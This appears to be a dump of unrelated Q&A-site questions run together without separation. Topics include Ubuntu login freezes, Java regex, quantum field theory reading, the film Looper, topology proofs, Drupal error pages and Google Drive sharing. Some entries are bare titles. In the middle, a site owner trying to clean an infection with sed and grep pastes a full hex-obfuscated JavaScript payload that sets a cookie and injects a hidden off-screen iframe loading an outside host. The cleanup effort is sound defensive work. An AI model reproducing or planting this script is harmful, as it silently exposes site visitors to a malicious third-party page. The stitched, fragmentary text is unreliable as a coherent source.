Ubuntu 16.04 Freezes at login screen I am running ubuntu 16.04 in a dual-boot with Windows 10.  The windows 10 boots without problem, so it's not a hardware issue.  I did the update of ubuntu and rebooted my machine as requested.  Now -every- time I get to the login screen the machine freezes. My machine is a Dell Inspiron 15 3000 Series.  .   The solutions I have tried so far are:   booting in recovery mode and running the file system check tool booting in recovery mode and booting in failsafegraphics mode. booting from an earlier kernel  (also repeating #1 and #2) using an earlier kernel. I tried booting using (upstart) but the screen just goes black and never boots.   This could very easily be a graphic driver problem, but I have no idea how to fix it.  Any ideas would be greatly appreciated... thanks.  UPDATE:  My computer is definitely affected by the c-state bug.  However, my machine hangs before I can boot and open a terminal to fix the bug.  I tried the temporary edit to grub to pass a the kernel boot parameter, but it simply doesn't work.    Can someone give me instructions on how to use an ubuntu livecd  to access my machines grub file so that I can make edits ? btw, I use an encrypted home folder... Thanks
System freezes completely with Intel Bay Trail My system freezes completely at random, frequent intervals. I started to have the same problem in Ubuntu 14.04 but after recent upgrade to 16.04 there is no improvement, in fact it seems worse.  When it happens, it's impossible to do anything. I've tried everything in this thread:  but nothing works, I have to hard reset. I have read all the system logs and journalctl but there is never any information that could help diagnose the problem.  This is a dual-boot system with Windows 10 and there's no problem there, so it's not defective hardware.  My laptop has an Intel Bay Trail processor (Pentium N3540)
Using wired and wireless headphones simultaneously? I have 1 android device, 1 wired headphones, 1 wireless headphones, 2 ppl willing to watch film.  When I connect both of headphones only wired work.  Is it possible to use both of headphones simultaneously? Is there a good way to remove HTML from a Java string? A simple regex like replaceAll(&quot;\\&lt;.*?&gt;&quot;, &quot;&quot;)   will work, but things like &amp;amp; wont be converted correctly and non-HTML between the two angle brackets will be removed (i.e. the .*? in the regex will disappear). I'm a student of mathematics with not much background in physics. I'm interested in learning Quantum field theory from a mathematical point of view.  Are there any good books or other reference material which can help in learning about quantum field theory? What areas of mathematics should I be familiar with before reading about Quantum field theory? How did they dispose old Joe's wife's body in the movie Looper (2012)? The reason given in the movie Looper for sending targets to the past is that it is difficult to dispose bodies.  From ,     Thirty years into the future in 2074, time travel is invented, but is   immediately outlawed. However, because by that point tracking   technology has rendered it nearly impossible to dispose of bodies   secretly, crime bosses turn to time travel to send their targets to   the past to be killed using "loopers": hired guns paid in silver to   kill whoever is sent to them.   When trying to capture old Joe, they kill his wife. So how did they dispose the body of his wife? Or is it difficult to dispose bodies only in US and not in China? And they came for old Joe only because the Rainmaker wanted to close the loops?  Could someone explain? What am I missing? Unable to edit my response to a locked question The image is broken in my  to the "favorite programmer cartoon" question. I'd be happy to fix this, but I can't (not enough rep? not a moderator?).  Here's the image in the Internet Archive: What is a good non-technical introduction to theories of everything? $\mathbb{R}$ \ $\mathbb{Q}$ and $\mathbb{R}^2\setminus\mathbb{Q}^2$ disconnected? If I want to prove that $\mathbb{R} \setminus \mathbb{Q}$ is disconnected, does it suffice to say that there are two open disjoint sets that cover $\mathbb{R}\setminus\mathbb{Q}$, namely:  $$(- \infty, 0), (0, \infty)\text{ ?}$$  Along the same lines, I want to prove or disprove that $S = \mathbb{R}^2 \setminus \mathbb{Q}^2$ (points $(x, y) \in S$ that have at least one irrationais connected. I feel that it is also disconnected; does it suffice to say that there are two open disjoint sets that cover $S = \mathbb{R}^2 \setminus \mathbb{Q}^2$, namely $((- \infty, - \infty), (0, 0))$ and $((0, 0), (\infty, \infty))$? (Very iffy on my assertion and my notation, sorry.)  Thanks! Raster generalization - buffers in rasters, expand pixels? Is it possible to create buffers for pixels of raster files? Actually I need to expand the pixels classified as 1 (in white in the figure) with a spatial range of 1 or 2 pixels, in order to perform some generalization.  I'm using QGIS, is this possible with gdal or something? I'm trying to remove malware code from a site using a script, I'm having trouble getting the regex right for the malware part.  What I want to do eventually is to use sed in order to find the malicious code and replace it. In my first attempt I tried to do something like this:  #fgrep -rl --exclude='*.sh' $SEARCH . | xargs sed -i 's/$SEARCH/$REPLACE/g'   Where SEARCH is:  SEARCH='/*236499a9e0b11c0dc3eecf5cf751a097*/ var _0xf19b=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28 \x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D","\x65\x78\x65\x63","\x73\x70\x6C\x69\x74","\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65","\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E \x74","\x68\x74\x74\x70\x3A\x2F\x2F\x73\x74\x61\x74\x69\x63\x2E\x73\x75\x63\x68\x6B\x61\x34\x36\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62 \x65\x34","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A \x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27","\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x61\x70\x70\x65\x6E \x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];window[_0xf19b[0]]=function(){function _0x10b1x1(_0x10b1x2,_0x10b1x3,_0x10b1x4){if(_0x10b1x4){var _0x10b1x5= new Date();_0x10b1x5[_0xf19b[2]](_0x10b1x5[_0xf19b[1]]()+_0x10b1x4);};if(_0x10b1x2&amp; &amp;_0x10b1x3){document[_0xf19b[3]]=_0x10b1x2+_0xf19b[4]+_0x10b1x3+(_0x10b1x4?_0xf19b[5]+_0x10b1x5[_0xf19b[6]]():_0xf19b[7])}else {return false};}function _0x10b1x6(_0x10b1x2){var _0x10b1x3= new RegExp(_0x10b1x2+_0xf19b[8]);var _0x10b1x4=_0x 10b1x3[_0xf19b[9]](document[_0xf19b[3]]);if(_0x10b1x4){_0x10b1x4=_0x10b1x4[0][_0xf19b[10]](_0xf19b[4])}else {return false};return _0x10b1x4[1]?_0x10b1x4[1]:false;}var _0x10b1x7=_0x10b1x6(_0xf19b[11]);if(_0x10b1x7!=_0xf19b[12]){_0x10b1x1(_ 0xf19b[11],_0xf19b[12],1);var _0x10b1x8=document[_0xf19b[14]](_0xf19b[13]);var _0x10b1x9=1380;var _0x10b1xa=_0xf19b[15]+_0x10b1x9+_0xf19b[16];_0x10b1x8[_0xf19b[17]]=_0xf19b[18]+_0x10b1xa+_0xf19b[19];document[_0xf19b[21]][_0xf19b[20]](_0x1 0b1x8);};}; /*236499a9e0b11c0dc3eecf5cf751a097*/'   and REPLACE:  REPLACE=''   I could not get the sed part to work, the grep works.  So now I'm thinking I could use regular expressions to accomplish this, So I don't have to use the whole string.  Here's the other code:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   This doesn't do anything.  This one does:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*'  grep -rl --exclude='*.sh' $INFECTED .   And this one too:  INFECTED='.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   I'm hoping to get the regex right in grep, and then apply it in sed. Any ideas on how accomplish the goal better ? Or what is wrong with this code ?  Thanks =) See all shared items in Google Drive In Dropbox there is a place you can see all the shared items in your account (i.e., all the items you have granted others access to).  Is there a similar feature in Google Drive?  I'm not only trying to find items that are shared with other "named people", but also documents that are shared on a "anyone with link can view / edit" or "public on the internet" basis.   Franck's  seemed to work back in 2013, but Google Drive's interface has changed quite a bit since, and I'm struggling to be able to perform the same task with the new interface. I wonder if anyone knows how to do it in the new interface. Number of monic irreducible polynomials of prime degree $p$ over finite fields Suppose $F$ is a field s.t $\left|F\right|=q$. Take $p$ to be some prime. How many monic irreducible polynomials of degree $p$ do exist over $F$?   Thanks! Why didn't Count Dooku expose Palpatine? What is Java's answer to WPF? Friendly error page to replace WSOD This should be the easiest thing to do, but for some reason I just can't get it done.  I'm trying to get a friendly static error page to replace nasty 500 scenarios. For now I'm just trying to replicate a 500 situation on my local machine (Drupal 7 running on MAMP) by throwing in some crap characters on the top of my template.php in my theme, which does trigger a 500 situation, but for some reason the ErrorDocument directive in my .htaccess or Apache config file has no effect.  What I'm doing is quite simply this:  ErrorDocument 500 /500.html   And I have the simplest ever static html-page in the root of my site with the name of 500.html.  Still, when I intentionally break template.php, I get the dreaded White Screen Of Death instead of my nice friendly error page.  What am I doing wrong here? I've done this a billion times in non-Drupal setups but just can't get my head around this one. How to find application's path from command line? For example, I have git installed on my system. But I don't remember where I installed it, so which command is fit to find this out? Show that $\sqrt{4 + 2\sqrt{3}} - \sqrt{3}$ is rational. Sufficient condition(s) for $f'$ to be Riemann integrable Show there exists $g:(0,1)\to\mathbb{R}^2$ such that $h\circ g$ constant, $g$ continuously differentiable and $g$ injective How to change the light grey text that many web sites seem to use these days? Of late, I've noticed that many web sites seem to be using light grey text for many sections of their sites. Some such sections include - the text (link, usually) that shows in the status bar at the bottom of the browser when you hover the mouse over a link on their page, the indicator text in form fields to be filled in (e.g. the word "email" in the email address field), and many other elements on the page.  That light grey makes it much less readable.    Not sure whether is a new trend, or something to do with my browser settings (I haven't changed them lately, AFAIK), or Google Chrome, which is my browser. This is on Windows 7 running on a Dell Vostro laptop. I added the info about the laptop because I suspect the problem may even be due to my hardware settings, since I found the default brightness to be too high after I bought it, and changed it via Control Panel.  Would like to know what are some of the things I can check or change to solve this.  Thanks. I need to know a word which means:     "negligence shown by a person in performing a duty, or a responsibility, or any given task."   or,      "A person who is negligent in performing their duties/responsibilities."   One possible choice is the use of word "delinquent". Is there any other word?  Please provide the usage of suggested word in a sentence also.